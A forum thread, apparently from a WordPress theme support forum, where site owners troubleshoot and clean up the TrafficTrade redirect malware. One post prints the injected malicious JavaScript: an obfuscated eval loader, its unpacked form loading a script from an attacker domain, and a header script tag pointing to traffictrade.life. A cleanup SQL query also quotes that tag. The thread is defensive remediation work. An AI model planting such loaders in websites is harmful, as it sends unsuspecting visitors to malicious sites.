Search Results for 'Malware'

Hi Andrex,

Finally your tips did me help to detect the suspicious malware, which was, indeed, placed in the Ad section / Header. So your first assumption was right!

All is removed and replaced now with the correct codes, passwords changed etc.

Thanks so much for offering your help, it is greatly appreciated, hope I will be back in Google soon (and removed from any blacklists…).

Have a wonderful weekend and, again, thank you for your warm support!

Best regards,
Marco

https://forum.tagdiv.com/topic/traffictrade-malware-newspaper-8-1-all-updated/

I have turned off the Tag Div Social counter plugin
Turned off sharing in post settings
Turned off social icons in the header settings

There aren’t any javascript pop ups added to the site

We use slider revolution for the front page but I disabled that and the page still did not load

I do not have any plugins running other than

tagDiv Composer
Slider Revolution (Disabled and tested no change)
Jetpack by WordPress.com (Disabled and tested no change)
Akismet Anti-Spam (Disabled and tested no change)

I checked for malware and the only files that were changed were by GoDaddy
Those files are

gd-config.php (GoDaddy added for their configuration)
wp-admin/install.php (Removed for security should not effect theme)
wp-config-sample.php (Removed for security should not effect theme)
wp-admin/includes/upgrade.php (Removed for security should not effect theme)

What should I do now

Try disabling
a) queries to FB/Twitter for ‘number of shares’
b) any javascript pop-ups

try disabling any plugins not included with theme

scan site with Securi site scanner for malware

Fix the website?

Look at content for bad ads, deceptive information presented, bad ad/links, etc.

If content is ‘okay’ — also check:

a) make sure https enabled
b) scan with securi free web scanner

*MALWARE FOUND*
https://sitecheck.sucuri.net/results/halaja.org

c) check the Google search console (webmaster tools) for warnings
d) check home page with F12/console in Chrome for warning

e) possibly do a black list and DNS poisoning test:
https://mxtoolbox.com/domain/

* WARNINGS
https://mxtoolbox.com/domain/halaja.org/

also see:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/

Also check this https://productforums.google.com/forum/#!topic/webmasters/u5mYsV6gVdg;context-place=topicsearchin/webmasters/category$3A(malware–hacked-sites)

Thanks for the guides, they are very basic but provide a good guideline, not enough when you are trying to remove a malware. In my case I had an entry on the header.php (easy to spot and remouve) but also a js script was inserted into theme panel custom js of Newsmag theme. It was an harmful script and was loading a js.trysomethingnew.eu that was redirecting to malicious website. It’s a Newsmag theme vulnerability, so I have updated the theme into latest version.

• This reply was modified 8 years by makkis001.

Forgot to include this article, also:
https://www.wordfence.com/blog/2017/08/traffictrade-malware/

attackers modify your wp_options table to inject the malicious code into that table

What TrafficTrade Malware Does On Your Site
Once you have been infected with TrafficTrade, it injects Javascript onto your site that loads from the TrafficTrade.life domain. The actual script is very simple.
It redirects your visitors to a ‘trafficreceiver’ domain which then does further redirects to whichever campaign they are running. In the case of my test, you are redirected to a site that wants you to install a Chrome plugin – most likely malicious.

Seems this IP range would be useful to block:
79.110.128.0 – 79.110.135.255

<hr>
HOW TO CLEAN DBASE!
https://wpfixit.com/traffictrade-wordpress-infection/

REMOVE INFECTION SCRIPT FROM SITE

The goal here is to track down where the script we mentioned above exists and them remove all traces of it. The scanning we did in the previous step will likely show you what files on your site have this script but it will not show you where in the database it remains.

Run Search and Replace Using a Plugin
Our favorite search and replace plugin is Better Search Replace. Install and active this plugin to search and replace database content. You would simply run a search for the script above and replace it with an empty filed.

Run Search and Replace Using a SQL Query
To do this, you will need phpMyAdmin access. This access allows you entry to edit the database that your WordPress site runs on. Once you have this you will run the SQL Query below which will search the entire database for the bad script and remove it.

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

• This reply was modified 8 years by simchris.

Hi,

Chris and mhendiz thanks for your advice, I’ve had already done all of your suggestions.
Finally I think I’ve resolved the issue. Here’s my thoughts:

Just before the beginning of my clean-up procedure the malware moved the script to
WP Admin > Newspaper > Theme panel > Custom Code > Custom Javascript

I found the following JS in this field:


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1=2.6(\'1\');1.5=\'4://3.8.9/d.3\';2.a(\'b\')[0].c(1);',14,14,'|script|document|js|https|src|createElement|var|trysomethingnew|eu|getElementsByTagName|head|appendChild|analytics'.split('|'),0,{}))


If you unpack the above, you’ll get:


var script = document.createElement('script');
script.src = 'https://js.trysomethingnew.eu/analytics.js';
document.getElementsByTagName('head')[0].appendChild(script);


So that’s why I couldn’t find the infection in the db.

The first stage of the infection included the following in the WP Admin > Newspaper > Theme panel > Header Ad:


<script src='https://blue.traffictrade.life/main.js' type='text/javascript'></script>

I hope now that I’ve installed fresh copies of WP, theme and plugins the issue will be resolved.

You can also check this post, if you encounter the same issue with old versions of Newspaper theme: https://productforums.google.com/forum/#!topic/webmasters/u5mYsV6gVdg

Well, if you install a ‘clean copy’ of the theme, and then it gets re-infected, then there is some malicious code on your site, or the overall site has been hacked.

Did you also remove any child theme if using one?

The version on ThemeForest is not infected.

Did you change *all* your passwords for WP, FTP, and your hosting panel?

Did you try going to an older dbase backup not infected?

We’re not having this issue on any of our sites, so not sure what to tell you beyond that.

I’m assuming you’ve done all the tutorials:
https://aw-snap.info/articles/malware-of-the-day.php

https://www.wordfence.com/blog/2017/08/traffictrade-malware/

http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/

https://codex.wordpress.org/FAQ_My_site_was_hacked

https://sucuri.net/guides/how-to-clean-hacked-wordpress

http://danfennell.com/2017/07/24/traffictrade-life-malware-removal/

(I don’t work here.)

• This reply was modified 8 years by simchris.

Hi,

Yes, I’ve done what you’ve described.
Sucuri site scanner does not catch the malware, it shows it’s ok.
But the redirection insists.

Thank you.

Did you do a full clean install of WP, deleting old version entirely?
Delete entirely all plugins and themes.
Check your htaccess for malicious entries.
Check folders, like the uploads folder for rogue php files?

Again: did you do a full proper install of Newspaper 8.1; meaning DELETE old theme folder entirely, upload NEW fresh copy — not over-writing which leaves old code there.

Scan site with Securi?

Follow online tutorials to check dbase for the malware infection?

Did you delete items in the ad boxes in theme and resave per the common tutorials online?

• This reply was modified 8 years by simchris.

Hi,

As you can see in my message:

Please note the facts:

I have the latest updates of WordPress core, all plugins and Newspaper 8.1.

There are no other deactivated themes or plugins on my installation (except Twenty Seventeen).

There is no sign of traffictrade malware in the db.

There is no sign of traffictrade malware in the source code.

I do not have the searchreplacedb2.php script on my server.

I have the latest Wordfence (and WAF) installed & configured.

Please keep in mind that I’ve tested the same installation to different servers.
I’ve also tested with all WP core, plugins and themes files fresh downloaded and replaced.

My site still redirects to spam sites.

When I deactivate all plugins the site redirects.
When I deactivate all plugins and activate the Twenty Seventeen theme the site is ok.
When I activate all plugins and activate the Twenty Seventeen theme the site is ok.

So my conclusion is that something goes wrong with Newspaper 8.1 theme.

Any suggestions?

Thank you.